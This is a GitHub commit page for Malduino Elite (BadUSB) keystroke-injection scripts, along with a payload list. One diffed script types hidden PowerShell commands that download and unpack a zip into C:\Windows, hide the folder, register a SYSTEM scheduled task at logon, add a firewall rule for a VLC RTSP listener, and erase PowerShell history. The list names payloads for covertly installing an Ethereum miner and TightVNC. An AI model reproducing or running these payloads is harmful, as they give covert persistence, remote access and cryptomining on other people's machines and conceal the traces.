Skip to content

Commit 5be5477

Browse files
committed
Updating scripts
Minor changes + List of payloads
1 parent a6e3319 commit 5be5477

File tree

3 files changed

+28
-9
lines changed

3 files changed

+28
-9
lines changed

Malduino Elite Scripts/0111.ero

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -12,23 +12,23 @@ DELAY 5000
1212
REM Shrink PowerShell window
1313
STRING mode con cols=20 lines=1
1414
ENTER
15-
STRING Register-ScheduledTask VLC
15+
STRING Register-ScheduledTask vlc
1616
STRING -Action (New-ScheduledTaskAction -Execute 'C:\Windows\VLC\vlc.exe' -Argument "-I null rtsp://192.168.0.16:6969/Music.sdp --loop" -WorkingDirectory 'C:\Windows\VLC')
1717
STRING -Trigger (New-ScheduledTaskTrigger -AtLogon)
1818
STRING -Principal (New-ScheduledTaskPrincipal -UserID 'NT AUTHORITY\SYSTEM' -LogonType ServiceAccount -RunLevel Highest) -f;
1919
REM Preparing hidden PowerShell window for payload
2020
STRING Start-Process -WindowStyle Hidden PowerShell "
2121
REM Payload
2222
STRING cd C:\Windows;
23-
STRING Mkdir VLC;
24-
STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/VLC.zip','C:\Windows\VLC.zip');
23+
STRING Mkdir vlc;
24+
STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/vlc.zip','C:\Windows\vlc.zip');
2525
STRING Expand-Archive -Path VLC.zip -force;
26-
STRING Remove-Item VLC.zip;
27-
STRING cd VLC;
26+
STRING Remove-Item vlc.zip;
27+
STRING cd vlc;
2828
STRING attrib +s +h /s /d;
2929
STRING attrib +s +h .;
30-
STRING New-NetFirewallRule -DisplayName 'VLC' -Direction Inbound -Program 'C:\Windows\VLC\vlc.exe' -Action Allow;
31-
STRING .\vlc -I null rtsp://192.168.0.16:6969/Music.sdp --loop
30+
STRING New-NetFirewallRule -DisplayName 'vlc' -Direction Inbound -Program 'C:\Windows\vlc\vlc.exe' -Action Allow;
31+
STRING Start-ScheduledTask -TaskName "vlc"
3232
REM End of payload
3333
REM Clear PowerShell history and exit
3434
STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit

Malduino Elite Scripts/1000.ero

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,10 +14,10 @@ REM Run payload in hidden window
1414
STRING Start-Process -WindowStyle Hidden PowerShell "
1515
REM Payload
1616
STRING cd C:\Windows\VLC
17-
STRING Stop-ScheduledTask -TaskName "VLC"
17+
STRING Stop-ScheduledTask -TaskName "vlc"
1818
STRING Unregister-ScheduledTask -TaskName VLC -Confirm:$false
1919
STRING attrib -s -h .
2020
STRING cd ..
21-
STRING Remove-Item -recurse -force VLC
21+
STRING Remove-Item -recurse -force vlc
2222
STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit
2323
ENTER

Malduino Elite Scripts/LIST.txt

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
___ ___ _ _ _ _____ _ _ _
2+
| \/ | | | | | (_) | ___| (_) |
3+
| . . | __ _| | __| |_ _ _ _ __ ___ | |__ | |_| |_ ___
4+
| |\/| |/ _` | |/ _` | | | | | '_ \ / _ \ | __|| | | __/ _ \
5+
| | | | (_| | | (_| | |_| | | | | | (_) | | |___| | | || __/
6+
\_| |_/\__,_|_|\__,_|\__,_|_|_| |_|\___/ \____/|_|_|\__\___|
7+
--------------------------------------------------------------
8+
0000.ero | Uninstall Ethereum Miner
9+
0001.ero | Install Hydra Prank
10+
0010.ero | Uninstall Hydra Prank
11+
0011.ero | Install Tight vnc
12+
0100.ero | Uninstall Tight vnc
13+
0101.ero | Install JoJo opening every hour
14+
0110.ero | Uninstall JoJo opening every hour
15+
0111.ero | Install vlc listener
16+
1000.ero | Uninstall vlc listener
17+
|
18+
1110.ero | Install(PenDrive) Ethereum Miner
19+
1111.ero | Install(Internet) Ethereum Miner

0 commit comments

Comments
 (0)